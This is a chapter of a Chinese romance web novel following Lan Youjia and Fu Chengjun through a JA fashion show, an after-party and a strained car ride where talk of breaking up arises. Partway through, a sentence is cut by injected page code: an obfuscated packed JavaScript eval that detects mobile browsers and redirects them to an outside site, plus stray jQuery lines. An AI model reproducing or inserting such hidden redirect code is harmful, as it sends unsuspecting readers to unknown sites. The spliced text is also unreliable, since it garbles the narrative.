片刻后,大秀正式开始。
坐席区的灯光转暗,优雅浪漫的音乐声中,风姿各异的超模们接连出场,每个模特身上令人眼花缭乱的时装与珠宝全都来自JA集团旗下。
所有光芒都汇聚于前方的舞台,和拥挤坐席里最特别的那块空旷地带。
虽然全场镜头都不被允许对准那片区域,可人们的视线无法禁止。
几乎每个来宾的眼神都有意无意地扫过那里,接着面色寻常地同身边人交颈低语,不知是在谈论今夜星光熠熠的秀场,抑或是别的。
“静姐,那是不是他的情、情……”
女明星的目光飞快地掠过那个气质矜贵斐然的男人,不敢多停留,同经纪人窃窃私语时,话音在嘴边打了个转儿,终究没有说出来。
袁静知道身边人想说什么。
她知道每个人见到这一幕时,会产生的第一反应是什么,其中也包括她自己。
但随着时间流逝,他们又不约而同地改变了想法。
因为那个眉眼昳丽生辉,仿佛在无尽宠爱中长大的年轻男孩,除了开始时那一眼,就再也没有看过身边明明是全场焦点的男人。
他专心致志地望着舞台的方向,柔和澄澈的眼眸中透出纯然的欣赏。
连身边人主动同他说话时,都舍不得分心移开目光。
所以袁静默默压下了那些在心头冒出来的菲薄形容,替旁边的艺人理了理裙摆,提醒她专心看秀。
尽管她自己的视线,却总是不知不觉地落到那个青年的身上。
有些人似乎天生就该被聚光灯追逐,即使不知道姓名和来历,只是安安静静地坐在那里,已耀眼至极。
然而,若是真的加上那些她尚不清楚的背景,同样注定了有些人天生便不会站在镜头前……不可能,或是不需要。
袁静不无遗憾地这样想。
前一段音乐渐渐淡出,在全新的曲调和欢呼声中,设计师与模特一道现身,她立刻面露微笑,像其他来宾们一样鼓起了掌。
兰又嘉也意犹未尽地送上掌声。
耳畔传来熟悉的低沉声线。
“这么喜欢?”
“嗯,我很喜欢。”
因为足够热闹。
他点了点头,总算再度侧眸看向身边的男人,迫不及待地问:“等下是不是还有酒会?”
傅呈钧没料到他的问题,不禁有几分哑然:“饿了?没吃晚饭么?”
“来之前吃过了。”兰又嘉诚实地说,“不过现在又有点馋。”
男人的视线掠过他衬衣领口处形状异常明显的锁骨,尾音微微上扬:“知道要好好吃饭了?”
兰又嘉听出他语气里的满意,便没有再解释什么,而是弯起了眸子笑:“我会努力吃胖一点的。”
其实光是知道要好好吃饭,是没有用的。
无论他有多么希望自己的食欲恢复如初,也拗不过正无可挽回地衰退着的身体机能。
今天难得有胃口,是因为第三种药很适合他。
药物的确比妄想可靠。
在那个眸光明亮潋滟的笑容里,傅呈钧偏了偏眸,看向从兰又嘉到场后就一直守在旁边的助理。
对方立刻会意,快步走到他身边,弯腰等待老板的吩咐。
兰又嘉隐约听见傅呈钧是让助理去提醒厨房备餐。
还额外叮嘱了一句:注意忌口。
听到那句话的时候,兰又嘉忽然有一点想笑。
他不知道是想笑什么。
或许是笑几天前那个满心妄想的自己。
当傅呈钧收回视线,重新看向身边人时,恰好对上那双笑意翩跹亮得惊人的眼睛,同时听见他问:“刚从光海回来吗?”
男人微一颔首,随口应道:“富安那边有点事要处理。”
傅呈钧的父亲是本国人,是光海市实业巨头富安科技曾经的继承人,他跟随父亲长大,童年就在那座潮湿繁华的港口城市度过。
他的母亲则来自于Jean d’Anjou这个品牌背后的德安茹家族,是一位法葡混血的绿眸美人。
而这位背景复杂的三国混血儿,最初出现在商界时,只是JA集团里的一名普通经理,却凭着超前的眼光和过人的手腕,一步步成为了整个集团亚太区的总负责人,也令这个在亚洲市场的发展一度陷入停滞的奢侈品牌,重新焕发光彩,影响力更胜以往。
所以,今晚来到秀场的嘉宾们才会时不时望向这里。
无论是身世、能力,或是外貌,他都是往日只能在新闻报刊上遥远瞥见的神秘传奇。
兰又嘉想了想,小声问:“还是因为钻石……不,金刚石吗?”
闻言,原本没什么表情的男人似乎被取悦,磁性嗓音里漫开一丝揶揄:“它们是同一种东西。”
周围模特与明星身上的高奢珠宝仍流光闪耀,兰又嘉哦了一声,努力搜寻着记忆里听过的只言片语,尝试更准确地形容:“我想起来了,是因为高……高精尖的人造金刚石?”
格外认真的语气传入傅呈钧耳中,令一贯冷冽的男人笑了起来,薄唇轻扬:“记性不错。”
“是因为它。”
傅呈钧说着,视线并未在周遭琳琅满目的华美珠宝上停留分毫,心里或许仍想着另一桩生意,淡声道:“很快就会解决的。”
即使正是他让JA旗下的珠宝支线在国内大受追捧,掀起一阵狂热风潮,可这位能力卓绝的商业新贵显然对眼前这场一年一度的盛大庆典没有什么兴趣。
他更关心未来的出路在哪里。
在这个愈发混乱颓靡的时代,普通人对资本家大肆宣扬的精美广告日渐怀疑,几乎所有奢侈品牌的业绩都受到了冲击,其中尤以昂贵的天然钻石首饰的遇冷最有代表性。
廉价美丽的培育钻石逐渐兴起,沮丧忧郁的人们也越来越不相信爱情。
钻石已经不再代表永恒,永恒甚至可以人造。
那究竟还有什么值得珍重?
兰又嘉不确定答案,但他很清楚,身边的男人其实一直都不喜欢钻石与珠宝。
而他自己,其实也并不关心这些商业上的事。
他只是嗅到对方的大衣上散发着隐约的海风味道,猜到了这次出差的行程,就顺口问了。
兰又嘉知道傅呈钧喜欢自己絮絮叨叨的关心。
往日他总是这样缠着对方,直到男人面露轻笑,或是将要显露厌烦,才会戛然而止。
所以今天也不该例外。
他不想再惹傅呈钧生气。
很快,这个对方明显不打算再多说的话题就此结束,兰又嘉没有追问,他开始专心挑选自己想吃的东西。
走秀结束后的冷餐酒会灯火璀璨,衣香鬓影,到处弥漫着奢靡的气息。
兰又嘉跟在傅呈钧身侧,安静地听着那些蜂拥而来的问候和寒暄。
大多是国内的一些合作伙伴,和由JA内部高层引荐的艺人明星。
也有海外母公司那边过来的外国人。
"Clément!"
有个褐发碧眼的法国人举着酒杯大步走过来,热情洋溢地拍拍傅呈钧的肩膀,随后语速很快地同他说起了什么。
兰又嘉能听懂最开始这个单词。
这是傅呈钧的法文名。
他有另一个名字,克莱蒙·德安茹。
再后面的法语对话,兰又嘉就听不懂了。
但他猜对方应该是德安茹家族内的成员,可能是傅呈钧的某位远亲长辈,因为男人的面色尚算温和。
直到两人的对话告一段落,那个陌生的法国男人注意到了旁边的他,目露惊艳,朝傅呈钧坏笑了一下,带着几分轻浮的欣赏:"Est-il votre biche? C''est beau!"
话音落地,傅呈钧的面色微冷,不假思索道:"Non, c''est mon soleil."
对方愣了一下,重新看了兰又嘉一眼,连连点头,有些抱歉地笑了:"Oui, oui, bien s?r."
兰又嘉不清楚他们在说什么,只是从神态猜测可能跟自己有关。
不知傅呈钧说了句什么,陌生人原本让他有些不舒服的打量目光,刹那间收敛了,变得惊讶而慎重。
大概是让他别再乱看。
傅呈钧一贯是个作风霸道的人。
兰又嘉便没有放在心上。
他将餐盘交给侍应生,正打算再去拿杯饮料,就听到耳畔响起了另一道玩世不恭的声音。
“我总算是逃出来了——老傅!”
今晚宋见风也来了,刚从一堆杂志主编的包围里脱身,朝他们扬了扬手。
“今天这身不错啊,兰又嘉。”宋见风再次连名带姓地喊他,语带调侃,“我可是听到好多人在议论你,可惜谁也不敢拍照。”
看到宋见风的那一刻,兰又嘉下意识别开目光,本能地往傅呈钧身后躲了一下。
此时被叫到名字,他顿了顿,才应声道:“宋先生好。”
宋见风没怎么察觉到他的细微动作,打完招呼之后,就滔滔不绝地跟好友聊起了天:“我跟他们说没档期,下半年都交代给你们JA了,对了,刚才压轴那件新品有点意思,什么时候让我……”
傅呈钧倒留意到了他的闪躲,觉得有些好笑:“烦他?”
兰又嘉立刻摇摇头,小声道:“没有。”
宋见风就一脸好奇地横插进来:“说什么悄悄话呢?烦谁?”
没想到傅呈钧竟抬手挡在青年身前,示意让他离远点,语气里透出几分嫌弃:“你。”
“……”宋见风觉得不可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799834|158097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思议,难以置信,“啊?”
他做什么了就烦他!
好歹他们俩前天才见过面,他还顺手帮过兰又嘉呢。
难道是知道他去找老傅打小报告了?
可他明明是在帮他嘛。
真是,真是——
算了。
有一双风流多情桃花眼的男人面色一度变幻,最终定格在一个意味深长的微笑:“行,不打扰你们二人世界,我走。”
不得不说,眼前这幅亲密相依的画面还是很养眼般配的,他都遗憾没带相机来了。
和好了就行。
也不枉费他一片苦心。
宋见风来了又走,恰如风一般。兰又嘉目送着他的背影消失在人群中,失神地眨了眨眼睛,忽然感到一阵疲惫的倦意翻涌上来。
他不想再吃任何东西了,习惯性地伸手轻扯男人的衣袖,小声道:“呈钧,我……”
“累了?”
未竟的话音被男人接过,原本攀在对方袖口的指尖也落入了温暖的掌心。
傅呈钧动作自然地牵住了他的手,语气平常道:“那就回家吧。”
感受到手心传来的热意,兰又嘉怔了怔,略显苍白的唇角勾起一个小小的微笑。
原来这三年单方面的追逐,并不是毫无意义。
他至少留下了一点充满自己烙印的痕迹。
也拥有过一些尚算温柔的时刻。
晚些时候,宽敞舒适的豪车后座上,兰又嘉倚在男人肩头,昏昏欲睡,宽松的衬衣领口偶有银光闪烁。
夜深而静。
忙碌了一整日的傅呈钧终于空闲下来,他垂眸注视着依偎在自己身旁的青年,蓦地想起了什么,修长指节探进黛蓝色的真丝衬衣,从白皙漂亮的锁骨处找到了那枚正轻轻摇晃的钻石戒指。
他轻握住戒指,指腹摩挲着那颗被体温捂热的钻石,回忆起宋见风昨天说的话,问:“怎么突然想起要戴它?”
快要睡着的青年便惊醒过来,睁开眼睛,迷迷糊糊地回答:“因为它的颜色很美。”
紧接着,兰又嘉也想起了那天宋见风没能说完的话。
这枚戒指好像很特别,才会令见多识广的摄影家露出那么复杂的神情。
他忍不住想,过些日子自己离开傅呈钧的时候,有没有资格带走这份奢侈的礼物?
兰又嘉不准备把人生最后的时光都耗在一个不爱自己的人身边,那真的太冷了。
他明白自己迟早要跟傅呈钧说再见的。
而在他对这场离别的设想中,最割舍不下的,就是这枚陪自己度过阴冷雨天的蓝钻戒指。
短暂静默后,他离开男人的肩膀,仰起脸小心地问:“这枚戒指真的送给我了吗?”
傅呈钧眉眼低垂,似乎正专心欣赏那枚蓝得惊心动魄的美丽钻石:“嗯。”
“它是不是很贵?要是我把它弄坏了怎么办?”
“坏就坏了。”
“那……你不会后悔送给我吧?”
闻言,男人终于掀眸看他,深邃眼眸里有什么情绪一闪而过。
“不会。”他说。
“如果我们分手了呢?你会要回来吗?或者……或者我过半年再还给你,好不好?”
兰又嘉想,他最多只需要霸占它半年,所以不假思索地将未来当作假设问出了口。
傅呈钧却怔住:“分手?”
兰又嘉点点头:“对,分手。”
只有彼此的车后座上,清晰地回荡着这个格外突兀的名词。
傅呈钧本以为今晚言笑晏晏的兰又嘉已经恢复了正常,过去的已过去,未来他们仍将这样相处下去——之前的日子一直是这么过来的。
可在一刻,他却问出一个如此不合时宜的问题。
分手。
这个从未想象过的字眼如电流通过傅呈钧的心头,激起一阵陌生的、颤栗的感受。
车窗外黑沉沉的,夜色铺天盖地,犹如蛰伏着无数阴森潮湿的幽魂,随时会撕裂黑暗,倏忽涌现。
傅呈钧骤然松开了手。
蓝色钻石划出一道抛物线,在异常寂静的空气里摇曳坠落。
他面无表情地问:“你觉得我们在谈恋爱?”
兰又嘉下意识握住那枚重新回到自己颈间的戒指,一点点睁大了眼睛。
他满脸茫然地反应了好一会儿,才听懂这个其实十分简单的句子。
原来不必说分手。
紧接着,他笑起来,漆黑圆润的瞳仁像濯过水一般,湿漉漉的。
他笑了,也有些难过。
只是一点难过。
“对不起。”兰又嘉很快低下头,温顺地认错,“是我说错了,我以后不会再说了。”
他不会再郑重其事地提分手。
他会安静离开的。